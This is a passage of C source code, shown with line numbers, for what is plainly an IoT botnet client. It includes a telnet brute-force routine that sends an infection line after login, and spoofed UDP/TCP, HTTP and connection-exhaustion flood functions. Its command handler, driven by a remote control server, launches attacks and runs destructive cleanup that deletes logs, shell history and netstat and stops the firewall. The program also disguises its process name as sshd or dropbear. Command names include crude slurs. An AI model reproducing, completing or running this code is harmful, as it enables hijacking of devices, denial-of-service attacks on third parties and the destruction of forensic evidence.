fds[i].totalTimeout = 0;
933
fds[i].bufUsed = 0;
934
if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
935
else fds[i].state = 7;
936
memset(fds[i].sockbuf, 0, 1024);
937
continue;
938
} else {
939
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
940
fds[i].bufUsed = strlen(fds[i].sockbuf);
941
}
942
943
if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL))
944
{
945
sclose(fds[i].fd);
946
fds[i].state = 0;
947
fds[i].complete = 1;
948
}
949
}
950
break;
951
952
case 5:
953
{
954
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
955
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
956
fds[i].state = 6;
957
}
958
break;
959
960
case 6:
961
{
962
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
963
964
if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
965
{
966
fds[i].totalTimeout = 0;
967
fds[i].bufUsed = 0;
968
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
969
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
970
else fds[i].state = 7;
971
memset(fds[i].sockbuf, 0, 1024);
972
continue;
973
} else {
974
fds[i].bufUsed = strlen(fds[i].sockbuf);
975
}
976
977
if(fds[i].totalTimeout + 20 < time(NULL))
978
{
979
sclose(fds[i].fd);
980
fds[i].state = 0;
981
fds[i].complete = 1;
982
}
983
}
984
break;
985
986
case 7:
987
{
988
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
989
fds[i].state = 8;
990
}
991
break;
992
993
case 8:
994
{
995
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
996
997
if(send(fds[i].fd, infectline, strlen(infectline), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
998
999
if(fds[i].totalTimeout + 15 < time(NULL))
1000
{
1001
sclose(fds[i].fd);
1002
fds[i].state = 0;
1003
fds[i].complete = 1;
1004
}
1005
}
1006
break;
1007
}
1008
}
1009
}
1010
}
1011
1012
void sendSTD(unsigned char *ip, int port, int secs) {
1013
1014
int iSTD_Sock;
1015
1016
iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
1017
1018
time_t start = time(NULL);
1019
1020
struct sockaddr_in sin;
1021
1022
struct hostent *hp;
1023
1024
hp = gethostbyname(ip);
1025
1026
bzero((char*) &sin,sizeof(sin));
1027
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
1028
sin.sin_family = hp->h_addrtype;
1029
sin.sin_port = port;
1030
1031
unsigned int a = 0;
1032
1033
while(1){
1034
if (a >= 50)
1035
{
1036
send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
1037
connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
1038
if (time(NULL) >= start + secs)
1039
{
1040
close(iSTD_Sock);
1041
_exit(0);
1042
}
1043
a = 0;
1044
}
1045
a++;
1046
}
1047
1048
1049
}
1050
1051
void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
1052
{
1053
struct sockaddr_in dest_addr;
1054
1055
dest_addr.sin_family = AF_INET;
1056
if(port == 0) dest_addr.sin_port = rand_cmwc();
1057
else dest_addr.sin_port = htons(port);
1058
if(getHost(target, &dest_addr.sin_addr)) return;
1059
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1060
1061
register unsigned int pollRegister;
1062
pollRegister = pollinterval;
1063
1064
if(spoofit == 32)
1065
{
1066
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
1067
if(!sockfd)
1068
{
1069
sockprintf(mainCommSock, "Failed opening raw socket.");
1070
return;
1071
}
1072
1073
unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
1074
if(buf == NULL) return;
1075
memset(buf, 0, packetsize + 1);
1076
makeRandomStr(buf, packetsize);
1077
1078
int end = time(NULL) + timeEnd;
1079
register unsigned int i = 0;
1080
while(1)
1081
{
1082
sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1083
1084
if(i == pollRegister)
1085
{
1086
if(port == 0) dest_addr.sin_port = rand_cmwc();
1087
if(time(NULL) > end) break;
1088
i = 0;
1089
continue;
1090
}
1091
i++;
1092
}
1093
} else {
1094
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
1095
if(!sockfd)
1096
{
1097
sockprintf(mainCommSock, "Failed opening raw socket.");
1098
//sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
1099
return;
1100
}
1101
1102
int tmp = 1;
1103
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1104
{
1105
sockprintf(mainCommSock, "Failed setting raw headers mode.");
1106
return;
1107
}
1108
1109
int counter = 50;
1110
while(counter--)
1111
{
1112
srand(time(NULL) ^ rand_cmwc());
1113
init_rand(rand());
1114
}
1115
1116
in_addr_t netmask;
1117
1118
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1119
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1120
1121
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
1122
struct iphdr *iph = (struct iphdr *)packet;
1123
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
1124
1125
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
1126
1127
udph->len = htons(sizeof(struct udphdr) + packetsize);
1128
udph->source = rand_cmwc();
1129
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1130
udph->check = 0;
1131
1132
makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
1133
1134
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1135
1136
int end = time(NULL) + timeEnd;
1137
register unsigned int i = 0;
1138
while(1)
1139
{
1140
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1141
1142
udph->source = rand_cmwc();
1143
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1144
iph->id = rand_cmwc();
1145
iph->saddr = htonl( getRandomIP(netmask) );
1146
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1147
1148
if(i == pollRegister)
1149
{
1150
if(time(NULL) > end) break;
1151
i = 0;
1152
continue;
1153
}
1154
i++;
1155
}
1156
}
1157
}
1158
1159
//CNC Botnet Flood, Created By Void
1160
//Floods The Admin Port With Operators And Sometimes Crashes The Server
1161
void sendCNC(unsigned char *ip,int port, int end_time)
1162
{
1163
int end = time(NULL) + end_time;
1164
int sockfd;
1165
struct sockaddr_in server;
1166
//sockfd = socket(AF_INET, SOCK_STREAM, 0);
1167
1168
server.sin_addr.s_addr = inet_addr(ip);
1169
server.sin_family = AF_INET;
1170
server.sin_port = htons(port);
1171
1172
while(end > time(NULL))
1173
{
1174
sockfd = socket(AF_INET, SOCK_STREAM, 0);
1175
connect(sockfd , (struct sockaddr *)&server , sizeof(server));
1176
sleep(1);
1177
close(sockfd);
1178
}
1179
1180
}
1181
1182
void sendHTTP(unsigned char *url, int end_time)
1183
{
1184
int end = time(NULL) + end_time;
1185
FILE *pf;
1186
char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
1187
1188
char *command[80];
1189
sprintf(command,"wget -s -U \"");
1190
strcat(command, UA);
1191
strcat(command,"\" -q ");
1192
strcat(command, url);
1193
1194
while(end > time(NULL))
1195
{
1196
UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
1197
sprintf(command,"wget -s -U \"");
1198
strcat(command, UA);
1199
strcat(command,"\" -q ");
1200
strcat(command, url);
1201
system(command);
1202
}
1203
1204
}
1205
1206
void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
1207
{
1208
register unsigned int pollRegister;
1209
pollRegister = pollinterval;
1210
1211
struct sockaddr_in dest_addr;
1212
1213
dest_addr.sin_family = AF_INET;
1214
if(port == 0) dest_addr.sin_port = rand_cmwc();
1215
else dest_addr.sin_port = htons(port);
1216
if(getHost(target, &dest_addr.sin_addr)) return;
1217
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1218
1219
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
1220
if(!sockfd)
1221
{
1222
sockprintf(mainCommSock, "Failed opening raw socket.");
1223
return;
1224
}
1225
1226
int tmp = 1;
1227
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1228
{
1229
sockprintf(mainCommSock, "Failed setting raw headers mode.");
1230
return;
1231
}
1232
1233
in_addr_t netmask;
1234
1235
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1236
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1237
1238
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
1239
struct iphdr *iph = (struct iphdr *)packet;
1240
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
1241
1242
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
1243
1244
tcph->source = rand_cmwc();
1245
tcph->seq = rand_cmwc();
1246
tcph->ack_seq = 0;
1247
tcph->doff = 5;
1248
1249
if(!strcmp(flags, "all"))
1250
{
1251
tcph->syn = 1;
1252
tcph->rst = 1;
1253
tcph->fin = 1;
1254
tcph->ack = 1;
1255
tcph->psh = 1;
1256
} else {
1257
unsigned char *pch = strtok(flags, ",");
1258
while(pch)
1259
{
1260
if(!strcmp(pch, "syn"))
1261
{
1262
tcph->syn = 1;
1263
} else if(!strcmp(pch, "rst"))
1264
{
1265
tcph->rst = 1;
1266
} else if(!strcmp(pch, "fin"))
1267
{
1268
tcph->fin = 1;
1269
} else if(!strcmp(pch, "ack"))
1270
{
1271
tcph->ack = 1;
1272
} else if(!strcmp(pch, "psh"))
1273
{
1274
tcph->psh = 1;
1275
} else {
1276
sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
1277
}
1278
pch = strtok(NULL, ",");
1279
}
1280
}
1281
1282
tcph->window = rand_cmwc();
1283
tcph->check = 0;
1284
tcph->urg_ptr = 0;
1285
tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
1286
tcph->check = tcpcsum(iph, tcph);
1287
1288
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1289
1290
int end = time(NULL) + timeEnd;
1291
register unsigned int i = 0;
1292
while(1)
1293
{
1294
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1295
1296
iph->saddr = htonl( getRandomIP(netmask) );
1297
iph->id = rand_cmwc();
1298
tcph->seq = rand_cmwc();
1299
tcph->source = rand_cmwc();
1300
tcph->check = 0;
1301
tcph->check = tcpcsum(iph, tcph);
1302
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1303
1304
if(i == pollRegister)
1305
{
1306
if(time(NULL) > end) break;
1307
i = 0;
1308
continue;
1309
}
1310
i++;
1311
}
1312
}
1313
1314
void sendJUNK(unsigned char *ip, int port, int end_time)
1315
{
1316
1317
int max = getdtablesize() / 2, i;
1318
1319
struct sockaddr_in dest_addr;
1320
dest_addr.sin_family = AF_INET;
1321
dest_addr.sin_port = htons(port);
1322
if(getHost(ip, &dest_addr.sin_addr)) return;
1323
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1324
1325
struct state_t
1326
{
1327
int fd;
1328
uint8_t state;
1329
} fds[max];
1330
memset(fds, 0, max * (sizeof(int) + 1));
1331
1332
fd_set myset;
1333
struct timeval tv;
1334
socklen_t lon;
1335
int valopt, res;
1336
1337
unsigned char *watwat = malloc(1024);
1338
memset(watwat, 0, 1024);
1339
1340
int end = time(NULL) + end_time;
1341
while(end > time(NULL))
1342
{
1343
for(i = 0; i < max; i++)
1344
{
1345
switch(fds[i].state)
1346
{
1347
case 0:
1348
{
1349
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
1350
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
1351
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
1352
else fds[i].state = 1;
1353
}
1354
break;
1355
1356
case 1:
1357
{
1358
FD_ZERO(&myset);
1359
FD_SET(fds[i].fd, &myset);
1360
tv.tv_sec = 0;
1361
tv.tv_usec = 10000;
1362
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
1363
if(res == 1)
1364
{
1365
lon = sizeof(int);
1366
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
1367
if(valopt)
1368
{
1369
close(fds[i].fd);
1370
fds[i].state = 0;
1371
} else {
1372
fds[i].state = 2;
1373
}
1374
} else if(res == -1)
1375
{
1376
close(fds[i].fd);
1377
fds[i].state = 0;
1378
}
1379
}
1380
break;
1381
1382
case 2:
1383
{
1384
makeRandomStr(watwat, 1024);
1385
if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
1386
{
1387
close(fds[i].fd);
1388
fds[i].state = 0;
1389
}
1390
}
1391
break;
1392
}
1393
}
1394
}
1395
}
1396
1397
void sendHOLD(unsigned char *ip, int port, int end_time)
1398
{
1399
1400
int max = getdtablesize() / 2, i;
1401
1402
struct sockaddr_in dest_addr;
1403
dest_addr.sin_family = AF_INET;
1404
dest_addr.sin_port = htons(port);
1405
if(getHost(ip, &dest_addr.sin_addr)) return;
1406
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1407
1408
struct state_t
1409
{
1410
int fd;
1411
uint8_t state;
1412
} fds[max];
1413
memset(fds, 0, max * (sizeof(int) + 1));
1414
1415
fd_set myset;
1416
struct timeval tv;
1417
socklen_t lon;
1418
int valopt, res;
1419
1420
unsigned char *watwat = malloc(1024);
1421
memset(watwat, 0, 1024);
1422
1423
int end = time(NULL) + end_time;
1424
while(end > time(NULL))
1425
{
1426
for(i = 0; i < max; i++)
1427
{
1428
switch(fds[i].state)
1429
{
1430
case 0:
1431
{
1432
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
1433
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
1434
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
1435
else fds[i].state = 1;
1436
}
1437
break;
1438
1439
case 1:
1440
{
1441
FD_ZERO(&myset);
1442
FD_SET(fds[i].fd, &myset);
1443
tv.tv_sec = 0;
1444
tv.tv_usec = 10000;
1445
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
1446
if(res == 1)
1447
{
1448
lon = sizeof(int);
1449
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
1450
if(valopt)
1451
{
1452
close(fds[i].fd);
1453
fds[i].state = 0;
1454
} else {
1455
fds[i].state = 2;
1456
}
1457
} else if(res == -1)
1458
{
1459
close(fds[i].fd);
1460
fds[i].state = 0;
1461
}
1462
}
1463
break;
1464
1465
case 2:
1466
{
1467
FD_ZERO(&myset);
1468
FD_SET(fds[i].fd, &myset);
1469
tv.tv_sec = 0;
1470
tv.tv_usec = 10000;
1471
res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
1472
if(res != 0)
1473
{
1474
close(fds[i].fd);
1475
fds[i].state = 0;
1476
}
1477
}
1478
break;
1479
}
1480
}
1481
}
1482
}
1483
1484
void processCmd(int argc, unsigned char *argv[])
1485
{
1486
int x;
1487
if(!strcmp(argv[0], "PING"))
1488
{
1489
sockprintf(mainCommSock, "PONG!");
1490
return;
1491
}
1492
1493
if(!strcmp(argv[0], "GETLOCALIP"))
1494
{
1495
sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
1496
return;
1497
}
1498
1499
if(!strcmp(argv[0], "SCANNER"))
1500
{
1501
if(argc != 2)
1502
{
1503
sockprintf(mainCommSock, "SCANNER ON | OFF");
1504
return;
1505
}
1506
1507
if(!strcmp(argv[1], "OFF"))
1508
{
1509
if(scanPid == 0) return;
1510
kill(scanPid, 9);
1511
sockprintf(mainCommSock, "REMOVING PROBE");
1512
scanPid = 0;
1513
}
1514
1515
if(!strcmp(argv[1], "ON"))
1516
{
1517
if(scanPid != 0) return;
1518
uint32_t parent;
1519
parent = fork();
1520
1521
if (parent > 0) { scanPid = parent; return;}
1522
else if(parent == -1) return;
1523
sockprintf(mainCommSock, "PROBING");
1524
StartTheLelz();
1525
_exit(0);
1526
}
1527
}
1528
1529
if(!strcmp(argv[0], "HOLD"))
1530
{
1531
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
1532
{
1533
//sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
1534
return;
1535
}
1536
1537
unsigned char *ip = argv[1];
1538
int port = atoi(argv[2]);
1539
int time = atoi(argv[3]);
1540
1541
if(strstr(ip, ",") != NULL)
1542
{
1543
unsigned char *hi = strtok(ip, ",");
1544
while(hi != NULL)
1545
{
1546
if(!listFork())
1547
{
1548
sendHOLD(hi, port, time);
1549
_exit(0);
1550
}
1551
hi = strtok(NULL, ",");
1552
}
1553
} else {
1554
if (listFork()) { return; }
1555
1556
sendHOLD(ip, port, time);
1557
_exit(0);
1558
}
1559
}
1560
1561
if(!strcmp(argv[0], "JUNK"))
1562
{
1563
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
1564
{
1565
//sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
1566
return;
1567
}
1568
1569
unsigned char *ip = argv[1];
1570
int port = atoi(argv[2]);
1571
int time = atoi(argv[3]);
1572
1573
if(strstr(ip, ",") != NULL)
1574
{
1575
unsigned char *hi = strtok(ip, ",");
1576
while(hi != NULL)
1577
{
1578
if(!listFork())
1579
{
1580
sendJUNK(hi, port, time);
1581
close(mainCommSock);
1582
_exit(0);
1583
}
1584
hi = strtok(NULL, ",");
1585
}
1586
} else {
1587
if (listFork()) { return; }
1588
1589
sendJUNK(ip, port, time);
1590
_exit(0);
1591
}
1592
}
1593
1594
if(!strcmp(argv[0], "UDP"))
1595
{
1596
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
1597
{
1598
//sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
1599
return;
1600
}
1601
1602
unsigned char *ip = argv[1];
1603
int port = atoi(argv[2]);
1604
int time = atoi(argv[3]);
1605
int spoofed = atoi(argv[4]);
1606
int packetsize = atoi(argv[5]);
1607
int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
1608
1609
if(strstr(ip, ",") != NULL)
1610
{
1611
unsigned char *hi = strtok(ip, ",");
1612
while(hi != NULL)
1613
{
1614
if(!listFork())
1615
{
1616
sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
1617
_exit(0);
1618
}
1619
hi = strtok(NULL, ",");
1620
}
1621
} else {
1622
if (listFork()) { return; }
1623
1624
sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
1625
_exit(0);
1626
}
1627
}
1628
1629
if(!strcmp(argv[0], "STD"))
1630
{
1631
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
1632
{
1633
1634
return;
1635
}
1636
1637
unsigned char *ip = argv[1];
1638
int port = atoi(argv[2]);
1639
int time = atoi(argv[3]);
1640
1641
if(strstr(ip, ",") != NULL)
1642
{
1643
unsigned char *hi = strtok(ip, ",");
1644
while(hi != NULL)
1645
{
1646
if(!listFork())
1647
{
1648
sendSTD(hi, port, time);
1649
_exit(0);
1650
}
1651
hi = strtok(NULL, ",");
1652
}
1653
} else {
1654
if (listFork()) { return; }
1655
1656
sendSTD(ip, port, time);
1657
_exit(0);
1658
}
1659
1660
}
1661
1662
if(!strcmp(argv[0], "HTTP"))
1663
{
1664
if(argc < 3 || atoi(argv[2]) < 1)
1665
{
1666
return;
1667
}
1668
1669
unsigned char *ip = argv[1];
1670
int time = atoi(argv[2]);
1671
1672
if(strstr(ip, ",") != NULL)
1673
{
1674
unsigned char *hi = strtok(ip, ",");
1675
while(hi != NULL)
1676
{
1677
if(!listFork())
1678
{
1679
int i = 0;
1680
while(i < 10){
1681
sendHTTP(ip, time);
1682
i++;
1683
}
1684
close(mainCommSock);
1685
_exit(0);
1686
}
1687
hi = strtok(NULL, ",");
1688
}
1689
} else {
1690
if (listFork()) { return; }
1691
int i = 0;
1692
while(i < 10){
1693
sendHTTP(ip, time);
1694
i++;
1695
}
1696
close(mainCommSock);
1697
1698
_exit(0);
1699
}
1700
}
1701
1702
if(!strcmp(argv[0], "CNC"))
1703
{
1704
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
1705
{
1706
1707
return;
1708
}
1709
1710
unsigned char *ip = argv[1];
1711
int port = atoi(argv[2]);
1712
int time = atoi(argv[3]);
1713
1714
if(strstr(ip, ",") != NULL)
1715
{
1716
unsigned char *hi = strtok(ip, ",");
1717
while(hi != NULL)
1718
{
1719
if(!listFork())
1720
{
1721
sendCNC(hi, port, time);
1722
close(mainCommSock);
1723
_exit(0);
1724
}
1725
hi = strtok(NULL, ",");
1726
}
1727
} else {
1728
if (listFork()) { return; }
1729
1730
sendCNC(ip, port, time);
1731
_exit(0);
1732
}
1733
}
1734
1735
if(!strcmp(argv[0], "COMBO"))
1736
{
1737
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
1738
{
1739
1740
return;
1741
}
1742
1743
unsigned char *ip = argv[1];
1744
int port = atoi(argv[2]);
1745
int time = atoi(argv[3]);
1746
1747
if(strstr(ip, ",") != NULL)
1748
{
1749
unsigned char *hi = strtok(ip, ",");
1750
while(hi != NULL)
1751
{
1752
if(!listFork())
1753
{
1754
sendJUNK(hi, port, time);
1755
sendHOLD(hi, port, time);
1756
close(mainCommSock);
1757
_exit(0);
1758
}
1759
hi = strtok(NULL, ",");
1760
}
1761
} else {
1762
if (listFork()) { return; }
1763
1764
sendJUNK(ip, port, time);
1765
sendHOLD(ip, port, time);
1766
_exit(0);
1767
}
1768
}
1769
1770
if(!strcmp(argv[0], "TCP"))
1771
{
1772
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
1773
{
1774
//sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
1775
return;
1776
}
1777
1778
unsigned char *ip = argv[1];
1779
int port = atoi(argv[2]);
1780
int time = atoi(argv[3]);
1781
int spoofed = atoi(argv[4]);
1782
unsigned char *flags = argv[5];
1783
1784
int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
1785
int psize = argc > 6 ? atoi(argv[6]) : 0;
1786
1787
if(strstr(ip, ",") != NULL)
1788
{
1789
unsigned char *hi = strtok(ip, ",");
1790
while(hi != NULL)
1791
{
1792
if(!listFork())
1793
{
1794
sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
1795
_exit(0);
1796
}
1797
hi = strtok(NULL, ",");
1798
}
1799
} else {
1800
if (listFork()) { return; }
1801
1802
sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
1803
_exit(0);
1804
}
1805
}
1806
1807
if(!strcmp(argv[0], "KILLATTK"))
1808
{
1809
int killed = 0;
1810
unsigned long i;
1811
for (i = 0; i < numpids; i++) {
1812
if (pids[i] != 0 && pids[i] != getpid()) {
1813
kill(pids[i], 9);
1814
killed++;
1815
}
1816
}
1817
}
1818
1819
if(!strcmp(argv[0], "GTFOFAG"))
1820
{
1821
exit(0);
1822
}
1823
1824
if(!strcmp(argv[0], "FATCOCK"))
1825
{
1826
system("rm -rf /var/log/wtmp");
1827
system("rm -rf /tmp/*");
1828
system("history -c");
1829
system("rm -rf ~/.bash_history");
1830
system("rm -rf /bin/netstat");
1831
system("history -w");
1832
system("killall -9 perl");
1833
system("service iptables stop");
1834
}
1835
1836
}
1837
1838
int initConnection()
1839
{
1840
unsigned char server[4096];
1841
memset(server, 0, 4096);
1842
if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
1843
if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
1844
else currentServer++;
1845
1846
strcpy(server, commServer[currentServer]);
1847
int port = 443;
1848
if(strchr(server, ':') != NULL)
1849
{
1850
port = atoi(strchr(server, ':') + 1);
1851
*((unsigned char *)(strchr(server, ':'))) = 0x0;
1852
}
1853
1854
mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
1855
1856
if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
1857
1858
return 0;
1859
}
1860
1861
int getOurIP()
1862
{
1863
int sock = socket(AF_INET, SOCK_DGRAM, 0);
1864
if(sock == -1) return 0;
1865
1866
struct sockaddr_in serv;
1867
memset(&serv, 0, sizeof(serv));
1868
serv.sin_family = AF_INET;
1869
serv.sin_addr.s_addr = inet_addr("8.8.8.8");
1870
serv.sin_port = htons(53);
1871
1872
int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
1873
if(err == -1) return 0;
1874
1875
struct sockaddr_in name;
1876
socklen_t namelen = sizeof(name);
1877
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
1878
if(err == -1) return 0;
1879
1880
ourIP.s_addr = name.sin_addr.s_addr;
1881
1882
int cmdline = open("/proc/net/route", O_RDONLY);
1883
char linebuf[4096];
1884
while(fdgets(linebuf, 4096, cmdline) != NULL)
1885
{
1886
if(strstr(linebuf, "\t00000000\t") != NULL)
1887
{
1888
unsigned char *pos = linebuf;
1889
while(*pos != '\t') pos++;
1890
*pos = 0;
1891
break;
1892
}
1893
memset(linebuf, 0, 4096);
1894
}
1895
close(cmdline);
1896
1897
if(*linebuf)
1898
{
1899
int i;
1900
struct ifreq ifr;
1901
strcpy(ifr.ifr_name, linebuf);
1902
ioctl(sock, SIOCGIFHWADDR, &ifr);
1903
for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
1904
}
1905
1906
close(sock);
1907
}
1908
1909
char *getBuild()
1910
{
1911
#ifdef MIPS_BUILD
1912
return "MIPS";
1913
#elif MIPSEL_BUILD
1914
return "MIPSEL";
1915
#elif X86_BUILD
1916
return "X86";
1917
#elif ARM_BUILD
1918
return "ARM";
1919
#elif PPC_BUILD
1920
return "PPC";
1921
#else
1922
return "DONGS";
1923
#endif
1924
}
1925
1926
int main(int argc, unsigned char *argv[])
1927
{
1928
char *mynameis = "";
1929
1930
if(access("/usr/bin/python", F_OK) != -1){
1931
mynameis = "sshd";
1932
} else {
1933
mynameis = "/usr/sbin/dropbear";
1934
}
1935
1936
if(SERVER_LIST_SIZE <= 0) return 0;
1937
printf("BUILD %s\n", getBuild());
1938
strncpy(argv[0],"",strlen(argv[0]));
1939
sprintf(argv[0], mynameis);
1940
prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
1941
srand(time(NULL) ^ getpid());
1942
init_rand(time(NULL) ^ getpid());
1943
pid_t pid1;
1944
pid_t pid2;
1945
int status;
1946
1947
getOurIP();
1948
1949
if (pid1 = fork()) {
1950
waitpid(pid1, &status, 0);
1951
exit(0);
1952
} else if (!pid1) {
1953
if (pid2 = fork()) {
1954
exit(0);
1955
} else if (!pid2) {
1956
} else {
1957
//zprintf("fork failed\n");
1958
}
1959
} else {
1960
//zprintf("fork failed\n");
1961
}
1962
1963
setsid();
1964
chdir("/");
1965
1966
signal(SIGPIPE, SIG_IGN);
1967
1968
while(1)
1969
{
1970
if(initConnection()) { sleep(5); continue; }
1971
1972
sockprintf(mainCommSock, "BUILD %s", getBuild());
1973
1974
char commBuf[4096];
1975
int got = 0;
1976
int i = 0;
1977
while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
1978
{
1979
for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
1980
unsigned int *newpids, on;
1981
for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
1982
pids[on - 1] = 0;
1983
numpids--;
1984
